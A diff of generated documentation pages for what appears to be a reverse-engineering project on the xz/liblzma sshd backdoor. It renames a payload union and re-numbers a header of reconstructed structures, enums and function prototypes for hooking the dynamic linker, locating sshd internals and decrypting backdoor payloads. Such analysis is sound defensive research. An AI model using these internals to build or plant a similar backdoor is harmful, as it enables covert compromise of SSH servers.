diff --git a/annotated.html b/annotated.html index 56a12ed..2f195a3 100644 --- a/annotated.html +++ b/annotated.html @@ -74,37 +74,37 @@  Cbackdoor_data_handleData passed to functions that access the backdoor data  Cbackdoor_hooks_ctx  Cbackdoor_hooks_data - Cbackdoor_setup_params - Cbackdoor_shared_globals - Cbackdoor_shared_libraries_data - Cbackdoor_tls_get_addr_reloc_consts - Ccmd_arguments - Cdasm_ctx - Cdl_tls_index - Celf_entry_ctx - Celf_functions - Celf_handlesArray of ELF handles - Celf_info - Cfake_lzma_allocator - CFlags1 - CFlags2 - Cglobal_context - Cgnu_hash_table - Cgot_ctx - Cimported_funcs - Cinstruction_search_ctx - Ckey_ctx - Ckey_payloadContents of the RSA 'n' field - Ckey_payload_body - Ckey_payload_hdrPayload header. also used as Chacha IV - Cldso_ctx - Clibc_imports - Clzma_check_stateStructure to hold internal state of the check being calculated - Clzma_sha256_stateState for the internal SHA-256 implementation - Cmain_elf - CmonitorStruct monitor from openssh-portable - Cmonitor_dataData used within sshd_proxy_elevate - CpayloadPayload union within run_backdoor_commands + Cbackdoor_runtime_dataUnion used within run_backdoor_commands + Cbackdoor_setup_params + Cbackdoor_shared_globals + Cbackdoor_shared_libraries_data + Cbackdoor_tls_get_addr_reloc_consts + Ccmd_arguments + Cdasm_ctx + Cdl_tls_index + Celf_entry_ctx + Celf_functions + Celf_handlesArray of ELF handles + Celf_info + Cfake_lzma_allocator + CFlags1 + CFlags2 + Cglobal_context + Cgnu_hash_table + Cgot_ctx + Cimported_funcs + Cinstruction_search_ctx + Ckey_ctx + Ckey_payloadContents of the RSA 'n' field + Ckey_payload_body + Ckey_payload_hdrPayload header. also used as Chacha IV + Cldso_ctx + Clibc_imports + Clzma_check_stateStructure to hold internal state of the check being calculated + Clzma_sha256_stateState for the internal SHA-256 implementation + Cmain_elf + CmonitorStruct monitor from openssh-portable + Cmonitor_dataData used within sshd_proxy_elevate  Crun_backdoor_commands_dataStack frame layout for run_backdoor_commands  Csecret_data_item  Csecret_data_shift_cursor_tShift register, which will shift a '1' into the secret data array. the low 3 bits represent the bit index, while the rest represents the byte index this is convenient, since a simple increment will increment the buffer position correctly diff --git a/classes.html b/classes.html index 73e2f50..050c82a 100644 --- a/classes.html +++ b/classes.html @@ -65,14 +65,14 @@
Data Structure Index
-
A | B | C | D | E | F | G | I | K | L | M | P | R | S | U
+
A | B | C | D | E | F | G | I | K | L | M | R | S | U
A
audit_ifaces
auditstate
B
-
backdoor_cpuid_reloc_consts
backdoor_data
backdoor_data_handle
backdoor_hooks_ctx
backdoor_hooks_data
backdoor_setup_params
backdoor_shared_globals
backdoor_shared_libraries_data
backdoor_tls_get_addr_reloc_consts
+
backdoor_cpuid_reloc_consts
backdoor_data
backdoor_data_handle
backdoor_hooks_ctx
backdoor_hooks_data
backdoor_runtime_data
backdoor_setup_params
backdoor_shared_globals
backdoor_shared_libraries_data
backdoor_tls_get_addr_reloc_consts
C
cmd_arguments
@@ -101,15 +101,12 @@
M
main_elf
monitor
monitor_data
-
P
-
payload
-
R
run_backdoor_commands_data
-
+
S
secret_data_item
secret_data_shift_cursor_t
sensitive_data
sshd_ctx
sshd_log_ctx
sshd_offsets
sshd_offsets_fields
sshd_offsets_kex
sshd_offsets_sshbuf
sshd_payload_ctx
sshkey
string_item
string_references
-
+
U
u_cmd_arguments_t
diff --git a/globals.html b/globals.html index 1686829..f5474c1 100644 --- a/globals.html +++ b/globals.html @@ -89,6 +89,9 @@

- b -

-

payload union within run_backdoor_commands - More...

+

union used within run_backdoor_commands + More...

#include <xzre.h>

- + + + + - - + - +

Data Fields

+
+struct timespec timespec
 
+fd_set fd_set
 
monitor_data_t monitor
 
+
 
u8 data [608]
 
 

Detailed Description

-

payload union within run_backdoor_commands

+

union used within run_backdoor_commands

The documentation for this union was generated from the following file: diff --git a/xzre_8h.html b/xzre_8h.html index ff3835a..d544774 100644 --- a/xzre_8h.html +++ b/xzre_8h.html @@ -80,6 +80,7 @@ #include <stddef.h>
#include <stdint.h>
#include <sys/select.h>
+#include <time.h>
#include <lzma.h>
#include <openssl/dsa.h>
#include <openssl/ec.h>
@@ -190,8 +191,8 @@ struct  monitor_data  data used within sshd_proxy_elevate More...
  -union  payload - payload union within run_backdoor_commands More...
+union  backdoor_runtime_data + union used within run_backdoor_commands More...
  struct  run_backdoor_commands_data  stack frame layout for run_backdoor_commands More...
@@ -438,10 +439,10 @@ typedef struct monitor_data monitor_data_t  data used within sshd_proxy_elevate
  - -typedef union payload payload_t - payload union within run_backdoor_commands
-  + +typedef union backdoor_runtime_data backdoor_runtime_data_t + union used within run_backdoor_commands
+  typedef struct run_backdoor_commands_data run_backdoor_commands_data_t  stack frame layout for run_backdoor_commands
@@ -1572,7 +1573,7 @@  assert_offset (key_ctx_t, args, 0x10)   - assert_offset (key_ctx_t, payload, 0x15) + assert_offset (key_ctx_t, payload, 0x15)    assert_offset (key_ctx_t, ivec, 0x26D) @@ -1641,7 +1642,7 @@  assert_offset (run_backdoor_commands_data_t, u.keys.ed448_key, 0x68)   - assert_offset (run_backdoor_commands_data_t, payload, 0xA8) + assert_offset (run_backdoor_commands_data_t, payload, 0xA8)    assert_offset (run_backdoor_commands_data_t, kctx, 0x308) @@ -1984,7 +1985,7 @@ BOOL is_payload_message (u8 *sshbuf_data, size_t sshbuf_size, size_t *pOutPayloadSize, global_context_t *ctx)  checks if the given sshbuf buffer contains a backdoor payload message More...
  -BOOL decrypt_payload_message (void *payload, size_t payload_size, global_context_t *ctx) +BOOL decrypt_payload_message (void *payload, size_t payload_size, global_context_t *ctx)  decrypts the given backdoor payload More...
  BOOL check_backdoor_state (global_context_t *ctx) diff --git a/xzre_8h_source.html b/xzre_8h_source.html index 3b72863..9b7d817 100644 --- a/xzre_8h_source.html +++ b/xzre_8h_source.html @@ -76,2195 +76,2200 @@
14 #include <stddef.h>
15 #include <stdint.h>
16 #include <sys/select.h>
-
17 #endif
-
18 
-
19 typedef uint8_t u8;
-
20 typedef uint16_t u16;
-
21 typedef uint32_t u32;
-
22 typedef uint64_t u64;
-
23 typedef uintptr_t uptr;
-
24 
-
25 #ifdef XZRE_SLIM
-
26 typedef unsigned int pid_t;
-
27 typedef unsigned int uid_t;
-
28 typedef unsigned int gid_t;
-
29 typedef unsigned int mode_t;
-
30 
-
31 typedef uint16_t Elf64_Half;
-
32 typedef uint32_t Elf64_Word;
-
33 typedef int32_t Elf64_Sword;
-
34 typedef uint64_t Elf64_Xword;
-
35 typedef int64_t Elf64_Sxword;
-
36 typedef uint32_t Elf32_Addr;
-
37 typedef uint64_t Elf64_Addr;
-
38 typedef uint64_t Elf64_Off;
-
39 typedef uint16_t Elf64_Section;
-
40 
-
41 typedef Elf64_Xword Elf64_Relr;
-
42 
-
43 #define EI_NIDENT (16)
-
44 typedef struct
-
45 {
-
46  unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
-
47  Elf64_Half e_type; /* Object file type */
-
48  Elf64_Half e_machine; /* Architecture */
-
49  Elf64_Word e_version; /* Object file version */
-
50  Elf64_Addr e_entry; /* Entry point virtual address */
-
51  Elf64_Off e_phoff; /* Program header table file offset */
-
52  Elf64_Off e_shoff; /* Section header table file offset */
-
53  Elf64_Word e_flags; /* Processor-specific flags */
-
54  Elf64_Half e_ehsize; /* ELF header size in bytes */
-
55  Elf64_Half e_phentsize; /* Program header table entry size */
-
56  Elf64_Half e_phnum; /* Program header table entry count */
-
57  Elf64_Half e_shentsize; /* Section header table entry size */
-
58  Elf64_Half e_shnum; /* Section header table entry count */
-
59  Elf64_Half e_shstrndx; /* Section header string table index */
-
60 } Elf64_Ehdr;
-
61 
-
62 typedef struct
-
63 {
-
64  Elf64_Word p_type; /* Segment type */
-
65  Elf64_Word p_flags; /* Segment flags */
-
66  Elf64_Off p_offset; /* Segment file offset */
-
67  Elf64_Addr p_vaddr; /* Segment virtual address */
-
68  Elf64_Addr p_paddr; /* Segment physical address */
-
69  Elf64_Xword p_filesz; /* Segment size in file */
-
70  Elf64_Xword p_memsz; /* Segment size in memory */
-
71  Elf64_Xword p_align; /* Segment alignment */
-
72 } Elf64_Phdr;
-
73 
-
74 typedef struct
-
75 {
-
76  Elf64_Sxword d_tag; /* Dynamic entry type */
-
77  union
-
78  {
-
79  Elf64_Xword d_val; /* Integer value */
-
80  Elf64_Addr d_ptr; /* Address value */
-
81  } d_un;
-
82 } Elf64_Dyn;
-
83 
+
17 #include <time.h>
+
18 #endif
+
19 
+
20 typedef uint8_t u8;
+
21 typedef uint16_t u16;
+
22 typedef uint32_t u32;
+
23 typedef uint64_t u64;
+
24 typedef uintptr_t uptr;
+
25 
+
26 #ifdef XZRE_SLIM
+
27 typedef unsigned int pid_t;
+
28 typedef unsigned int uid_t;
+
29 typedef unsigned int gid_t;
+
30 typedef unsigned int mode_t;
+
31 
+
32 typedef uint16_t Elf64_Half;
+
33 typedef uint32_t Elf64_Word;
+
34 typedef int32_t Elf64_Sword;
+
35 typedef uint64_t Elf64_Xword;
+
36 typedef int64_t Elf64_Sxword;
+
37 typedef uint32_t Elf32_Addr;
+
38 typedef uint64_t Elf64_Addr;
+
39 typedef uint64_t Elf64_Off;
+
40 typedef uint16_t Elf64_Section;
+
41 
+
42 typedef Elf64_Xword Elf64_Relr;
+
43 
+
44 #define EI_NIDENT (16)
+
45 typedef struct
+
46 {
+
47  unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
+
48  Elf64_Half e_type; /* Object file type */
+
49  Elf64_Half e_machine; /* Architecture */
+
50  Elf64_Word e_version; /* Object file version */
+
51  Elf64_Addr e_entry; /* Entry point virtual address */
+
52  Elf64_Off e_phoff; /* Program header table file offset */
+
53  Elf64_Off e_shoff; /* Section header table file offset */
+
54  Elf64_Word e_flags; /* Processor-specific flags */
+
55  Elf64_Half e_ehsize; /* ELF header size in bytes */
+
56  Elf64_Half e_phentsize; /* Program header table entry size */
+
57  Elf64_Half e_phnum; /* Program header table entry count */
+
58  Elf64_Half e_shentsize; /* Section header table entry size */
+
59  Elf64_Half e_shnum; /* Section header table entry count */
+
60  Elf64_Half e_shstrndx; /* Section header string table index */
+
61 } Elf64_Ehdr;
+
62 
+
63 typedef struct
+
64 {
+
65  Elf64_Word p_type; /* Segment type */
+
66  Elf64_Word p_flags; /* Segment flags */
+
67  Elf64_Off p_offset; /* Segment file offset */
+
68  Elf64_Addr p_vaddr; /* Segment virtual address */
+
69  Elf64_Addr p_paddr; /* Segment physical address */
+
70  Elf64_Xword p_filesz; /* Segment size in file */
+
71  Elf64_Xword p_memsz; /* Segment size in memory */
+
72  Elf64_Xword p_align; /* Segment alignment */
+
73 } Elf64_Phdr;
+
74 
+
75 typedef struct
+
76 {
+
77  Elf64_Sxword d_tag; /* Dynamic entry type */
+
78  union
+
79  {
+
80  Elf64_Xword d_val; /* Integer value */
+
81  Elf64_Addr d_ptr; /* Address value */
+
82  } d_un;
+
83 } Elf64_Dyn;
84 
-
85 typedef struct
-
86 {
-
87  Elf64_Word st_name; /* Symbol name (string tbl index) */
-
88  unsigned char st_info; /* Symbol type and binding */
-
89  unsigned char st_other; /* Symbol visibility */
-
90  Elf64_Section st_shndx; /* Section index */
-
91  Elf64_Addr st_value; /* Symbol value */
-
92  Elf64_Xword st_size; /* Symbol size */
-
93 } Elf64_Sym;
-
94 
-
95 typedef struct
-
96 {
-
97  Elf64_Addr r_offset; /* Address */
-
98  Elf64_Xword r_info; /* Relocation type and symbol index */
-
99  Elf64_Sxword r_addend; /* Addend */
-
100 } Elf64_Rela;
-
101 
-
102 typedef uptr
-
103  Elf32_Sym, Elf64_Relr,
-
104  Elf64_Verdef, Elf64_Versym, sigset_t, fd_set, EVP_PKEY, RSA, DSA,
-
105  BIGNUM, EC_POINT, EC_KEY, EC_GROUP, EVP_MD, point_conversion_form_t,
-
106  EVP_CIPHER, EVP_CIPHER_CTX, ENGINE, EVP_MD_CTX, EVP_PKEY_CTX, BN_CTX;
-
107 typedef struct {
-
108  void *(*alloc)(void *opaque, size_t nmemb, size_t size);
-
109  void (*free)(void *opaque, void *ptr);
-
110  void *opaque;
-
111 } lzma_allocator;
-
112 
-
113 typedef long int Lmid_t;
-
114 #define ElfW(Sym) Elf64_Sym
-
115 
+
85 
+
86 typedef struct
+
87 {
+
88  Elf64_Word st_name; /* Symbol name (string tbl index) */
+
89  unsigned char st_info; /* Symbol type and binding */
+
90  unsigned char st_other; /* Symbol visibility */
+
91  Elf64_Section st_shndx; /* Section index */
+
92  Elf64_Addr st_value; /* Symbol value */
+
93  Elf64_Xword st_size; /* Symbol size */
+
94 } Elf64_Sym;
+
95 
+
96 typedef struct
+
97 {
+
98  Elf64_Addr r_offset; /* Address */
+
99  Elf64_Xword r_info; /* Relocation type and symbol index */
+
100  Elf64_Sxword r_addend; /* Addend */
+
101 } Elf64_Rela;
+
102 
+
103 typedef uptr
+
104  Elf32_Sym, Elf64_Relr,
+
105  Elf64_Verdef, Elf64_Versym, sigset_t, fd_set, EVP_PKEY, RSA, DSA,
+
106  BIGNUM, EC_POINT, EC_KEY, EC_GROUP, EVP_MD, point_conversion_form_t,
+
107  EVP_CIPHER, EVP_CIPHER_CTX, ENGINE, EVP_MD_CTX, EVP_PKEY_CTX, BN_CTX;
+
108 typedef struct {
+
109  void *(*alloc)(void *opaque, size_t nmemb, size_t size);
+
110  void (*free)(void *opaque, void *ptr);
+
111  void *opaque;
+
112 } lzma_allocator;
+
113 
+
114 typedef long int Lmid_t;
+
115 #define ElfW(Sym) Elf64_Sym
116 
-
124 typedef enum {
-
125  LZMA_CHECK_NONE = 0,
-
132  LZMA_CHECK_CRC32 = 1,
-
139  LZMA_CHECK_CRC64 = 4,
-
146  LZMA_CHECK_SHA256 = 10
-
152 } lzma_check;
-
153 
-
154 #endif
-
155 
-
156 #ifndef XZRE_SLIM
-
157 #include <lzma.h>
-
158 #include <openssl/dsa.h>
-
159 #include <openssl/ec.h>
-
160 #include <openssl/evp.h>
-
161 #include <openssl/rsa.h>
-
162 #include <elf.h>
-
163 #include <link.h>
-
164 typedef Elf64_Xword Elf64_Relr;
-
165 #endif
-
166 
-
167 #define UPTR(x) ((uptr)(x))
-
168 #define PTRADD(a, b) (UPTR(a) + UPTR(b))
-
169 #define PTRDIFF(a, b) (UPTR(a) - UPTR(b))
-
170 
-
171 /*
-
172  * Force a compilation error if condition is true, but also produce a
-
173  * result (of value 0 and type int), so the expression can be used
-
174  * e.g. in a structure initializer (or where-ever else comma expressions
-
175  * aren't permitted).
-
176  */
-
177 #define BUILD_BUG_ON_ZERO(e) ((int)(sizeof(struct { int:(-!!(e)); })))
-
178 #define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b))
-
179 #define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
-
180 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
-
181 
-
182 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=include/link.h;h=bef2820b40cd553c77990dcda4f4ccf0203a9110;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l360
-
183 struct auditstate
-
184 {
-
185  uintptr_t cookie;
-
186  unsigned int bindflags;
-
187 };
-
188 
-
189 typedef struct link_map *lookup_t;
-
190 
-
192 typedef struct gnu_hash_table {
-
193  uint32_t nbuckets;
-
194  uint32_t symoffset;
-
195  uint32_t bloom_size;
-
196  uint32_t bloom_shift;
-
197  uint64_t bloom[];
-
198  #if 0
-
199  // uint64_t bloom[bloom_size]; /* uint32_t for 32-bit binaries */
-
200  // uint32_t buckets[nbuckets];
-
201  // uint32_t chain[];
-
202  #endif
-
203 } gnu_hash_table_t;
-
204 
-
205 struct La_i86_regs;
-
206 struct La_i86_retval;
-
207 struct La_x86_64_regs;
-
208 struct La_x86_64_retval;
-
209 struct La_x32_regs;
-
210 struct La_x32_retval;
-
211 
-
212 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/generic/ldsodefs.h;h=2ebe7901c03ade2da466d8a2bf1e1214ef8f54d1;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l256
-
213 // and https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/x86/ldsodefs.h;h=50dc81c02249bc8e034842066428452f6c00aec3;hb=57581acd9559217e859fdac693145ce6399f4d70
-
214 struct audit_ifaces
-
215 {
-
216  void (*activity) (uintptr_t *, unsigned int);
-
217  char *(*objsearch) (const char *, uintptr_t *, unsigned int);
-
218  unsigned int (*objopen) (struct link_map *, Lmid_t, uintptr_t *);
-
219  void (*preinit) (uintptr_t *);
-
220  union
-
221  {
-
222  uintptr_t (*symbind32) (Elf32_Sym *, unsigned int, uintptr_t *,
-
223  uintptr_t *, unsigned int *, const char *);
-
224  uintptr_t (*symbind64) (Elf64_Sym *, unsigned int, uintptr_t *,
-
225  uintptr_t *, unsigned int *, const char *);
-
226  };
-
227  union
-
228  {
-
229  Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
-
230  uintptr_t *, struct La_i86_regs *,
-
231  unsigned int *, const char *name,
-
232  long int *framesizep);
-
233  Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *, unsigned int,
-
234  uintptr_t *,
-
235  uintptr_t *, struct La_x86_64_regs *,
-
236  unsigned int *, const char *name,
-
237  long int *framesizep);
-
238  Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
-
239  uintptr_t *, struct La_x32_regs *,
-
240  unsigned int *, const char *name,
-
241  long int *framesizep);
-
242  };
-
243  union
-
244  {
-
245  unsigned int (*i86_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
-
246  uintptr_t *, const struct La_i86_regs *,
-
247  struct La_i86_retval *, const char *);
-
248  unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *, unsigned int,
-
249  uintptr_t *,
+
117 
+
125 typedef enum {
+
126  LZMA_CHECK_NONE = 0,
+
133  LZMA_CHECK_CRC32 = 1,
+
140  LZMA_CHECK_CRC64 = 4,
+
147  LZMA_CHECK_SHA256 = 10
+
153 } lzma_check;
+
154 
+
155 #endif
+
156 
+
157 #ifndef XZRE_SLIM
+
158 #include <lzma.h>
+
159 #include <openssl/dsa.h>
+
160 #include <openssl/ec.h>
+
161 #include <openssl/evp.h>
+
162 #include <openssl/rsa.h>
+
163 #include <elf.h>
+
164 #include <link.h>
+
165 typedef Elf64_Xword Elf64_Relr;
+
166 #endif
+
167 
+
168 #define UPTR(x) ((uptr)(x))
+
169 #define PTRADD(a, b) (UPTR(a) + UPTR(b))
+
170 #define PTRDIFF(a, b) (UPTR(a) - UPTR(b))
+
171 
+
172 /*
+
173  * Force a compilation error if condition is true, but also produce a
+
174  * result (of value 0 and type int), so the expression can be used
+
175  * e.g. in a structure initializer (or where-ever else comma expressions
+
176  * aren't permitted).
+
177  */
+
178 #define BUILD_BUG_ON_ZERO(e) ((int)(sizeof(struct { int:(-!!(e)); })))
+
179 #define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b))
+
180 #define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
+
181 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
+
182 
+
183 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=include/link.h;h=bef2820b40cd553c77990dcda4f4ccf0203a9110;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l360
+
184 struct auditstate
+
185 {
+
186  uintptr_t cookie;
+
187  unsigned int bindflags;
+
188 };
+
189 
+
190 typedef struct link_map *lookup_t;
+
191 
+
193 typedef struct gnu_hash_table {
+
194  uint32_t nbuckets;
+
195  uint32_t symoffset;
+
196  uint32_t bloom_size;
+
197  uint32_t bloom_shift;
+
198  uint64_t bloom[];
+
199  #if 0
+
200  // uint64_t bloom[bloom_size]; /* uint32_t for 32-bit binaries */
+
201  // uint32_t buckets[nbuckets];
+
202  // uint32_t chain[];
+
203  #endif
+
204 } gnu_hash_table_t;
+
205 
+
206 struct La_i86_regs;
+
207 struct La_i86_retval;
+
208 struct La_x86_64_regs;
+
209 struct La_x86_64_retval;
+
210 struct La_x32_regs;
+
211 struct La_x32_retval;
+
212 
+
213 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/generic/ldsodefs.h;h=2ebe7901c03ade2da466d8a2bf1e1214ef8f54d1;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l256
+
214 // and https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/x86/ldsodefs.h;h=50dc81c02249bc8e034842066428452f6c00aec3;hb=57581acd9559217e859fdac693145ce6399f4d70
+
215 struct audit_ifaces
+
216 {
+
217  void (*activity) (uintptr_t *, unsigned int);
+
218  char *(*objsearch) (const char *, uintptr_t *, unsigned int);
+
219  unsigned int (*objopen) (struct link_map *, Lmid_t, uintptr_t *);
+
220  void (*preinit) (uintptr_t *);
+
221  union
+
222  {
+
223  uintptr_t (*symbind32) (Elf32_Sym *, unsigned int, uintptr_t *,
+
224  uintptr_t *, unsigned int *, const char *);
+
225  uintptr_t (*symbind64) (Elf64_Sym *, unsigned int, uintptr_t *,
+
226  uintptr_t *, unsigned int *, const char *);
+
227  };
+
228  union
+
229  {
+
230  Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
+
231  uintptr_t *, struct La_i86_regs *,
+
232  unsigned int *, const char *name,
+
233  long int *framesizep);
+
234  Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *, unsigned int,
+
235  uintptr_t *,
+
236  uintptr_t *, struct La_x86_64_regs *,
+
237  unsigned int *, const char *name,
+
238  long int *framesizep);
+
239  Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
+
240  uintptr_t *, struct La_x32_regs *,
+
241  unsigned int *, const char *name,
+
242  long int *framesizep);
+
243  };
+
244  union
+
245  {
+
246  unsigned int (*i86_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
+
247  uintptr_t *, const struct La_i86_regs *,
+
248  struct La_i86_retval *, const char *);
+
249  unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *, unsigned int,
250  uintptr_t *,
-
251  const struct La_x86_64_regs *,
-
252  struct La_x86_64_retval *,
-
253  const char *);
-
254  unsigned int (*x32_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
-
255  uintptr_t *,
-
256  const struct La_x32_regs *,
-
257  struct La_x86_64_retval *,
-
258  const char *);
-
259  };
-
260  unsigned int (*objclose) (uintptr_t *);
-
261 
-
262  struct audit_ifaces *next;
-
263 };
-
264 
+
251  uintptr_t *,
+
252  const struct La_x86_64_regs *,
+
253  struct La_x86_64_retval *,
+
254  const char *);
+
255  unsigned int (*x32_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
+
256  uintptr_t *,
+
257  const struct La_x32_regs *,
+
258  struct La_x86_64_retval *,
+
259  const char *);
+
260  };
+
261  unsigned int (*objclose) (uintptr_t *);
+
262 
+
263  struct audit_ifaces *next;
+
264 };
265 
-
267 typedef struct {
-
269  uint32_t state[8];
-
270 
-
272  uint64_t size;
-
273 } lzma_sha256_state;
-
274 
-
279 typedef struct {
-
281  uint8_t buffer[64];
-
282 
-
284  union {
-
285  uint32_t crc32;
-
286  uint64_t crc64;
-
287  lzma_sha256_state sha256;
-
288  } state;
-
289 
-
290 } lzma_check_state;
-
291 
-
292 #define CHACHA20_KEY_SIZE 32
-
293 #define CHACHA20_IV_SIZE 16
-
294 #define SHA256_DIGEST_SIZE 32
-
295 #define ED448_KEY_SIZE 57
-
296 #define ED448_SIGNATURE_SIZE 114
-
297 
-
298 #define X_BN_num_bytes(bits) (((bits)+7)/8)
-
299 
-
300 // opcode is always +0x80 for the sake of it (yet another obfuscation)
-
301 #define XZDASM_OPC(op) (op - 0x80)
-
302 
-
303 typedef int BOOL;
-
304 
-
305 #define TRUE 1
-
306 #define FALSE 0
-
307 
-
308 typedef enum {
-
309  // has lock or rep prefix
-
310  DF_LOCK_REP = 1,
-
311  // has segment override
-
312  DF_SEG = 2,
-
313  // has operand size override
-
314  DF_OSIZE = 4,
-
315  // has address size override
-
316  DF_ASIZE = 8,
-
317  // vex instruction
-
318  DF_VEX = 0x10,
-
319  // has rex
-
320  DF_REX = 0x20,
-
321  // has modrm
-
322  DF_MODRM = 0x40,
-
323  // has sib
-
324  DF_SIB = 0x80
-
325 } InstructionFlags;
-
326 
-
327 typedef enum {
-
328  // memory with displacement
-
329  DF_MEM_DISP = 0x1,
-
330  // 8-bit displacement
-
331  DF_MEM_DISP8 = 0x2,
-
332  // memory seg+offs (0xa0-0xa3)
-
333  DF_MEM_SEG_OFFS = 0x4,
-
334  // has immediate
-
335  DF_IMM = 0x8,
-
336  // 64-bit immediate (movabs)
-
337  DF_IMM64 = 0x10
-
338 } InstructionFlags2;
-
339 
-
340 typedef enum {
-
341  // ELF has JMPREL relocs
-
342  X_ELF_PLTREL = 0x1,
-
343  // ELF has RELA relocs
-
344  X_ELF_RELA = 0x2,
-
345  // ELF has RELR relocs
-
346  X_ELF_RELR = 0x4,
-
347  // ELF has DT_VERDEF
-
348  X_ELF_VERDEF = 0x8,
-
349  // ELF has DT_VERSYM
-
350  X_ELF_VERSYM = 0x10,
-
351  // ELF has DF_1_NOW
-
352  X_ELF_NOW = 0x20
-
353 } ElfFlags;
-
354 
-
355 typedef enum {
-
356  // register-indirect addressing or no displacement
-
357  MRM_I_REG, // 00
-
358  // indirect with one byte displacement
-
359  MRM_I_DISP1, // 01
-
360  // indirect with four byte displacement
-
361  MRM_I_DISP4, // 10
-
362  // direct-register addressing
-
363  MRM_D_REG // 11
-
364 } ModRm_Mod;
-
365 
-
366 typedef enum {
-
367  // find function beginning by looking for endbr64
-
368  FIND_ENDBR64,
-
369  // find function beginning by looking for padding,
-
370  // then getting the instruction after it
-
371  FIND_NOP
-
372 } FuncFindType;
-
373 
-
374 typedef enum {
-
379  X_ELF_MAIN = 0,
-
380  X_ELF_DYNAMIC_LINKER = 1,
-
381  X_ELF_LIBC = 2,
-
382  X_ELF_LIBCRYPTO = 3
-
383 } ElfId;
-
384 
-
385 typedef enum {
-
386  XREF_xcalloc_zero_size = 0,
-
387  XREF_Could_not_chdir_to_home_directory_s_s = 1,
-
388  XREF_list_hostkey_types = 2,
-
389  XREF_demote_sensitive_data = 3,
-
390  XREF_mm_terminate = 4,
-
391  XREF_mm_pty_allocate = 5,
-
392  XREF_mm_do_pam_account = 6,
-
393  XREF_mm_session_pty_cleanup2 = 7,
-
394  XREF_mm_getpwnamallow = 8,
-
395  XREF_mm_sshpam_init_ctx = 9,
-
396  XREF_mm_sshpam_query = 10,
-
397  XREF_mm_sshpam_respond = 11,
-
398  XREF_mm_sshpam_free_ctx = 12,
-
399  XREF_mm_choose_dh = 13,
-
400  XREF_sshpam_respond = 14,
-
401  XREF_sshpam_auth_passwd = 15,
-
402  XREF_sshpam_query = 16,
-
403  XREF_start_pam = 17,
-
404  XREF_mm_request_send = 18,
-
405  XREF_mm_log_handler = 19,
-
406  XREF_Could_not_get_agent_socket = 20,
-
407  XREF_auth_root_allowed = 21,
-
408  XREF_mm_answer_authpassword = 22,
-
409  XREF_mm_answer_keyallowed = 23,
-
410  XREF_mm_answer_keyverify = 24,
-
411  XREF_48s_48s_d_pid_ld_ = 25,
-
412  XREF_Unrecognized_internal_syslog_level_code_d = 26
-
413 } StringXrefId;
-
414 
-
415 typedef enum {
-
416  STR_from = 0x810,
-
417  STR_ssh2 = 0x678,
-
418  STR_48s_48s_d_pid_ld_ = 0xd8,
-
419  STR_s = 0x708,
-
420  STR_usr_sbin_sshd = 0x108,
-
421  STR_Accepted_password_for = 0x870,
-
422  STR_Accepted_publickey_for = 0x1a0,
-
423  STR_BN_bin2bn = 0xc40,
-
424  STR_BN_bn2bin = 0x6d0,
-
425  STR_BN_dup = 0x958,
-
426  STR_BN_free = 0x418,
-
427  STR_BN_num_bits = 0x4e0,
-
428  STR_Connection_closed_by = 0x790,
-
429  STR_Could_not_chdir_to_home_directory_s_s = 0x18,
-
430  STR_Could_not_get_agent_socket = 0xb0,
-
431  STR_DISPLAY = 0x960,
-
432  STR_DSA_get0_pqg = 0x9d0,
-
433  STR_DSA_get0_pub_key = 0x468,
-
434  STR_EC_KEY_get0_group = 0x7e8,
-
435  STR_EC_KEY_get0_public_key = 0x268,
-
436  STR_EC_POINT_point2oct = 0x6e0,
-
437  STR_EVP_CIPHER_CTX_free = 0xb28,
-
438  STR_EVP_CIPHER_CTX_new = 0x838,
-
439  STR_EVP_DecryptFinal_ex = 0x2a8,
-
440  STR_EVP_DecryptInit_ex = 0xc08,
-
441  STR_EVP_DecryptUpdate = 0x3f0,
-
442  STR_EVP_Digest = 0xf8,
-
443  STR_EVP_DigestVerify = 0x408,
-
444  STR_EVP_DigestVerifyInit = 0x118,
-
445  STR_EVP_MD_CTX_free = 0xd10,
-
446  STR_EVP_MD_CTX_new = 0xaf8,
-
447  STR_EVP_PKEY_free = 0x6f8,
-
448  STR_EVP_PKEY_new_raw_public_key = 0x758,
-
449  STR_EVP_PKEY_set1_RSA = 0x510,
-
450  STR_EVP_chacha20 = 0xc28,
-
451  STR_EVP_sha256 = 0xc60,
-
452  STR_EVP_sm = 0x188,
-
453  STR_GLIBC_2_2_5 = 0x8c0,
-
454  STR_GLRO_dl_naudit_naudit = 0x6a8,
-
455  STR_KRB5CCNAME = 0x1e0,
-
456  STR_LD_AUDIT = 0xcf0,
-
